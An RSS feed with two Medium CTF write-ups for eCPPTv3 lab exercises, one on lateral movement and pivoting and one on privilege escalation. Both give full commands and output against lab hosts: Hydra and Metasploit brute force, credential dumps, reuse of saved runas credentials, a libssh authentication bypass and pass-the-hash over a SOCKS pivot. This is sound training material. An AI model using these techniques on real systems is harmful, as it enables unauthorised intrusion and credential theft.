<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Philipeer on Medium]]></title>
        <description><![CDATA[Stories by Philipeer on Medium]]></description>
        <link>https://medium.com/@hamiltoon?source=rss-0900a49c7174------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Philipeer on Medium</title>
            <link>https://medium.com/@hamiltoon?source=rss-0900a49c7174------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 10:15:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hamiltoon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lateral Movement & Pivoting CTF 1 (eCPPTv3) — Write-up]]></title>
            <link>https://medium.com/@hamiltoon/lateral-movement-pivoting-ctf-1-ecpptv3-write-up-b721ee8b612b?source=rss-0900a49c7174------2</link>
            <guid isPermaLink="false">https://medium.com/p/b721ee8b612b</guid>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Philipeer]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 11:53:37 GMT</pubDate>
            <atom:updated>2026-09-23T11:53:37.891Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, I am creating this write-up simply because I couldn’t find one when I was completing this CTF. If you would like to see more write-ups or if you have any questions, please let me know in the comments.</p><h3>Tasks Overview</h3><ul><li><strong>Task 1:</strong> Exploit open services on target1.ine.local to gain initial access</li><li><strong>Task 2:</strong> Enumerate databases on target1.ine.local to retrieve hidden credentials</li><li><strong>Task 3:</strong> Leverage an open service on target2.ine.local to escalate access</li><li><strong>Task 4:</strong> Exploit target3.ine.local to obtain Administrator credentials</li><li><strong>Task 5:</strong> Pivot from target3.ine.local to target4.ine.local using discovered hashes</li></ul><h3>Task 1: Exploit open services on target1.ine.local to gain initial access</h3><p>First, reconnaissance of the target target1.ine.local was performed using Nmap. The output revealed two open ports:</p><ul><li><strong>22/tcp</strong> — SSH</li><li><strong>3306/tcp</strong> — MySQL</li></ul><p>Using Metasploit (the mysql_login module), a brute-force attack on the MySQL service was executed using the unix_passwords.txt wordlist. The attack successfully revealed the credentials for the user john (john:password1).</p><pre>msf6 auxiliary(scanner/mysql/mysql_login) &gt; set ANONYMOUS_LOGIN true                                                                                                                                                                       <br>msf6 auxiliary(scanner/mysql/mysql_login) &gt; set CreateSession true                                                                                                                                                                                                                                                                                                     <br>msf6 auxiliary(scanner/mysql/mysql_login) &gt; set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt                                                                                                                                                                                                                                          <br>msf6 auxiliary(scanner/mysql/mysql_login) &gt; set USERNAME john                                                                                                                                                                                                                                                                                                          <br>msf6 auxiliary(scanner/mysql/mysql_login) &gt; set RHOSTS target1.ine.local   <br>msf6 auxiliary(scanner/mysql/mysql_login) &gt; run</pre><pre>[+] 192.245.191.3:3306 - 192.245.191.3:3306 - Success: &#39;john:password1&#39;</pre><p>Subsequently, SSH was used to log into the server, and the first flag was found in the user’s home directory.</p><pre>ssh john@target1.ine.local<br># Password: password1</pre><pre>john@target1:~$ cat flag.txt<br>FLAG1_50df44f9f5224286a90cc8b33de299d7</pre><p><strong>Flag 1:</strong> FLAG1_50df44f9f5224286a90cc8b33de299d7</p><h3>Task 2: Enumerate databases on target1.ine.local to retrieve hidden credentials</h3><p>With the MySQL credentials acquired, database enumeration took place. Using mysqldump from the Kali attacker machine, the contents of the usersinfo database were extracted, revealing hidden credentials for two other users:</p><pre>mysqldump -u john -h target1.ine.local -p usersinfo<br># Password: password1</pre><p><em>Extracted SQL data:</em></p><pre>INSERT INTO `target2_users` VALUES (&#39;alice&#39;,&#39;C@ntcr@ck!t19&#39;); <br>INSERT INTO `users` VALUES (&#39;mike&#39;,&#39;Uncr@ckable67&#39;);</pre><p>Using mike&#39;s password, we were able to SSH back into target1.ine.local and retrieve the second flag from his home directory.</p><pre>ssh mike@target1.ine.local<br># Password: Uncr@ckable67</pre><pre>mike@target1:~$ cat flag.txt<br>FLAG2_d669fe4e14b84555b545670c4a72be53</pre><p><strong>Flag 2:</strong> FLAG2_d669fe4e14b84555b545670c4a72be53</p><h3>Task 3: Leverage an open service on target2.ine.local to escalate access</h3><p>To access the next target, target2.ine.local, the credentials for alice extracted from the database in the previous step were utilized. We connected via SSH:</p><pre>ssh alice@target2.ine.local<br># Password: C@ntcr@ck!t19</pre><pre>alice@target2:~$ cat flag.txt <br>FLAG3_3886747ed0ac4dfb9443f497fa5437d5</pre><p>Immediately upon logging in, the third flag was read in the home directory.</p><p><strong>Flag 3:</strong> FLAG3_3886747ed0ac4dfb9443f497fa5437d5</p><h3>Task 4: Exploit target3.ine.local to obtain Administrator credentials</h3><p>An Nmap scan of target3.ine.local (10.2.23.5) revealed open ports 135 (RPC), 139 (NetBIOS), 445 (SMB), and 3389 (RDP), indicating a Windows machine.</p><p>A successful dictionary attack against the SMB service for the administrator user was performed using Hydra:</p><p>Bash</p><pre>hydra -l administrator -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target3.ine.local smb</pre><pre># Output snippet:<br>[445][smb] host: target3.ine.local   login: administrator   password: raspberry</pre><p>With the valid credentials (administrator:raspberry) identified, Remote Desktop Protocol (RDP) was used to log into target3.ine.local as the Administrator.</p><pre>xfreerdp /u:administrator /p:raspberry /v:target3.ine.local</pre><p>Once on the desktop, we found Flag 4 alongside a text file (Hash.txt) containing the Administrator&#39;s NTLM hash for the next target.</p><ul><li>flag4.txt content: 6de6501042534269b0c568210ee0320f</li><li>Hash.txt content: Administrator: 5c4d59391f656d5958dab124ffeabc20</li></ul><p><strong>Flag 4:</strong> 6de6501042534269b0c568210ee0320f</p><h3>Task 5: Pivot from target3.ine.local to target4.ine.local using discovered hashes</h3><p>To reach the network where target4.ine.local resides, it was necessary to set up pivoting through the compromised target3.ine.local machine. A route was created in Metasploit for the 10.2.18.0/20 subnet (using the autoroute module), and a SOCKS proxy server (auxiliary/server/socks_proxy) was started on port 9050.</p><p>To authenticate against target4.ine.local, a <strong>Pass-the-Hash</strong> technique was utilized via proxychains and Evil-WinRM, leveraging the NTLM hash discovered in the previous step:</p><pre>proxychains evil-winrm -u administrator -H 5c4d59391f656d5958dab124ffeabc20 -i target4.ine.local</pre><p>After a successful connection, a PowerShell session was spawned. The fifth flag was discovered and read in the root directory of the C:\ drive:</p><pre>*Evil-WinRM* PS C:\&gt; type flag5.txt<br>4ba34d90b4e64373a2da75433b1e832b</pre><p><strong>Flag 5:</strong> 4ba34d90b4e64373a2da75433b1e832b</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b721ee8b612b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation CTF 1 — eCPPTv3 lab]]></title>
            <link>https://medium.com/@hamiltoon/privilege-escalation-ctf-1-ecpptv3-lab-58f8b8789768?source=rss-0900a49c7174------2</link>
            <guid isPermaLink="false">https://medium.com/p/58f8b8789768</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[ecpptv3]]></category>
            <dc:creator><![CDATA[Philipeer]]></dc:creator>
            <pubDate>Thu, 17 Sep 2026 13:01:29 GMT</pubDate>
            <atom:updated>2026-09-17T13:01:29.917Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, I am creating this write-up simply because I couldn’t find one when I was completing this CTF. If you would like to see more write-ups, please let me know in the comments.</p><p>So, we have the following tasks:</p><ul><li><strong>Task 1:</strong> Extract stored credentials from target1.ine.local</li><li><strong>Task 2:</strong> Analyze system history on target1.ine.local to uncover sensitive data</li><li><strong>Task 3:</strong> Exploit vulnerable services on target2.ine.local to gain a shell</li><li><strong>Task 4:</strong> Extract database files on target2.ine.local to retrieve root credentials</li></ul><p>Tasks 1 and 2 cover Windows PrivEsc, while tasks 3 and 4 focus on Linux.</p><h3>Task 1: Extract stored credentials from target1.ine.local</h3><p>target1.ine.local is a Windows host, so we will switch to the “target1.ine.local” tab in the Guacamole environment. Then, we will check our privileges.</p><pre>PS C:\Users\student&gt; whoami<br>ec2amaz-a251fff\student</pre><p>The stored credentials point to the commands used in the Credential Management lab. We can check which credentials are stored on target1.</p><pre>PS C:\Users\student&gt; cmdkey /list<br><br>Currently stored credentials:<br><br>    Target: Domain:interactive=EC2AMAZ-A251FFF\john<br>    Type: Domain Password<br>    User: EC2AMAZ-A251FFF\john</pre><p>John has stored credentials. Let’s login as john using:</p><pre> runas.exe /savecred /user:john cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIClhfNCJtdJiDf-hEkLtQ.png" /></figure><p>In the C:\Users\john\Desktop\john-data directory, we can find the first flag.</p><pre>C:\Users\john\Desktop&gt;cd john-data<br><br>C:\Users\john\Desktop\john-data&gt;dir<br> Volume in drive C has no label.<br> Volume Serial Number is 1CE9-5F0A<br><br> Directory of C:\Users\john\Desktop\john-data<br><br>09/16/2026  01:15 PM    &lt;DIR&gt;          .<br>02/04/2025  09:16 AM    &lt;DIR&gt;          ..<br>02/04/2025  09:17 AM               780 data.txt<br>09/16/2026  01:15 PM                34 flag1.txt<br>               2 File(s)            814 bytes<br>               2 Dir(s)  11,443,535,872 bytes free</pre><pre>type flag1.txt<br>05f8f32b6d644ee9a78e9ea51fa49483</pre><h3>Task 2: Analyze system history on target1.ine.local to uncover sensitive data</h3><p>The system history strongly hints at analyzing the command history in John’s profile. This file is typically located at \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.</p><pre>C:\Users\john\Desktop\john-data&gt;type C:\Users\john\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt<br>......<br>$username = &#39;administrator&#39;<br>$passwd = &quot;superStrong_123890&quot;<br>.......</pre><p>Let’s switch to the Administrator account with the discovered password using runas. In the C:\Users\Administrator directory, we can find the second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTIFzj5wuc_36CAD4o_usg.png" /></figure><pre>type flag2.txt<br>b2702036caa44e0881c87f9b436b1d2a</pre><h3>Task 3: Exploit vulnerable services on target2.ine.local to gain a shell</h3><p>The second target is a Linux host. We know that it has some vulnerable services, so let’s check target2 with a couple of nmap scans.</p><pre># nmap -p- target2.ine.local<br><br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br>MAC Address: 02:42:C0:F1:E2:03 (Unknown)<br><br># nmap -sV -sC -p22,80 target2.ine.local<br><br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     libssh 0.8.3 (protocol 2.0)<br>| ssh-hostkey: <br>|_  2048 2b:64:85:23:0a:39:2c:7d:75:84:1b:d5:b8:4e:eb:04 (RSA)<br>80/tcp open  http    Werkzeug/3.1.3 Python/3.13.1<br>|_http-title: Login<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 200 OK<br>|     Server: Werkzeug/3.1.3 Python/3.13.1<br>|     Date: Thu, 17 Sep 2026 12:30:34 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 694<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;UTF-8&quot;&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; href=&quot;static/style.css&quot;&gt;<br>|     &lt;title&gt;Login&lt;/title&gt;<br>|     &lt;/head&gt;                                                                                                                                                                                                                              <br>|     &lt;body&gt;                                                                                                                                                                                                                               <br>|     &lt;div class=&quot;container&quot;&gt;                                                                                                                                                                                                              <br>|     &lt;h2&gt;Login Page&lt;/h2&gt;                                                                                                                                                                                                                  <br>|     &lt;form method=&quot;POST&quot;&gt;                                                                                                                                                                                                                 <br>|     &lt;label for=&quot;username&quot;&gt;Username:&lt;/label&gt;                                                                                                                                                                                              <br>|     &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; required&gt;                                                                                                                                                                           <br>|     &lt;br&gt;                                                                                                                                                                                                                                 <br>|     &lt;label for=&quot;password&quot;&gt;Password:&lt;/label&gt;                                                                                                                                                                                              <br>|     &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; required&gt;<br>|     &lt;br&gt;<br>|     &lt;button type=&quot;submit&quot;&gt;Login&lt;/button&gt;<br>|     &lt;/form&gt;<br>|     &lt;/div&gt;<br>|     &lt;/body&gt;<br>|     &lt;/html&gt;<br>|   HTTPOptions: <br>|     HTTP/1.1 200 OK<br>|     Server: Werkzeug/3.1.3 Python/3.13.1<br>|     Date: Thu, 17 Sep 2026 12:30:34 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Allow: HEAD, GET, POST, OPTIONS<br>|     Content-Length: 0<br>|     Connection: close<br>|   RTSPRequest: <br>|     &lt;!DOCTYPE HTML&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Error response&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;h1&gt;Error response&lt;/h1&gt;<br>|     &lt;p&gt;Error code: 400&lt;/p&gt;<br>|     &lt;p&gt;Message: Bad request version (&#39;RTSP/1.0&#39;).&lt;/p&gt;<br>|     &lt;p&gt;Error code explanation: 400 - Bad request syntax or unsupported method.&lt;/p&gt;<br>|     &lt;/body&gt;<br>|_    &lt;/html&gt;</pre><p>With a little bit of research, we find that libssh 0.8.3 is vulnerable. We can utilize the Metasploit Framework with the auxiliary/scanner/ssh/libssh_auth_bypass module. The following commands will be used:</p><pre>msfconsole -q<br>use auxiliary/scanner/ssh/libssh_auth_bypass<br>set SPAWN_PTY true<br>set RHOSTS target2.ine.local<br>run</pre><p>Then we will get a command shell session, which is indicated by:</p><pre>[*] 192.241.226.3:22 - Attempting authentication bypass<br>[*] Attempting &quot;Shell&quot; Action, see &quot;show actions&quot; for more details<br>[*] Command shell session 1 opened (192.241.226.2:43705 -&gt; 192.241.226.3:22) at 2026-09-17 18:07:34 +0530</pre><p>Let’s connect to the shell using the command sessions 1. From there, we can see that we successfully obtained a shell session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*XSzoi9x9XEgdgwJa6Rjgeg.png" /></figure><p>Let’s enumerate through the directories to find the third flag.</p><p>In the /home/user directory, we find the flag.</p><pre>cat flag3.txt<br>656862bfa39e4043b54b5431d27c0462</pre><h3>Task 4: Extract database files on target2.ine.local to retrieve root credentials</h3><p>The last task is to escalate our privileges to root to find the final flag. In the /home directory, we can spot the entrypoint.sh file:</p><pre>sh-5.2$ cat entrypoint.sh<br>cat entrypoint.sh<br>#!/bin/sh<br><br># Start the SSH server<br>/home/temp/exploit-libssh-0.8.3/build/examples/ssh_server_fork -d /home/user/.ssh/ssh_host_ecdsa_key -k /home/user/.ssh/ssh_host_rsa_key -p 22 -v 0.0.0.0 &amp;<br><br># Start the Flask web app<br>/home/webapp/venv/bin/python /home/webapp/app.py</pre><p>From the output, /home/webapp is the directory of interest for us. In this directory, we can see the database_setup.py file. Let’s check the contents of this file.</p><pre>sh-5.2$ cat database_setup.py<br>cat database_setup.py<br>import sqlite3<br><br># Connect to SQLite database<br>conn = sqlite3.connect(&quot;/home/webapp/database.db&quot;)<br>cursor = conn.cursor()<br><br># Create users table<br>cursor.execute(&quot;&quot;&quot;<br>CREATE TABLE IF NOT EXISTS users (<br>    id INTEGER PRIMARY KEY AUTOINCREMENT,<br>    username TEXT NOT NULL,<br>    password TEXT NOT NULL<br>)<br>&quot;&quot;&quot;)<br><br># Insert a root user with hardcoded credentials<br>cursor.execute(&quot;INSERT INTO users (username, password) VALUES (&#39;root&#39;, &#39;strongP@ssowrd123!!&#39;)&quot;)<br><br># Commit changes and close connection<br>conn.commit()<br>conn.close()<br><br>print(&quot;Database setup complete with root credentials.&quot;)</pre><p>We can see that the root user has the password strongP@ssowrd123!!. With this information, let’s switch to the root user and find the last flag:</p><pre>sh-5.2$ su root<br>su root<br>Password: strongP@ssowrd123!!<br><br>[root@target2 webapp]# cd /root<br>cd /root<br>[root@target2 ~]# ls<br>ls<br>flag4.txt<br>[root@target2 ~]# cat flag4.txt<br>cat flag4.txt<br>218314e9dee74272abb6225f05294d06</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58f8b8789768" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>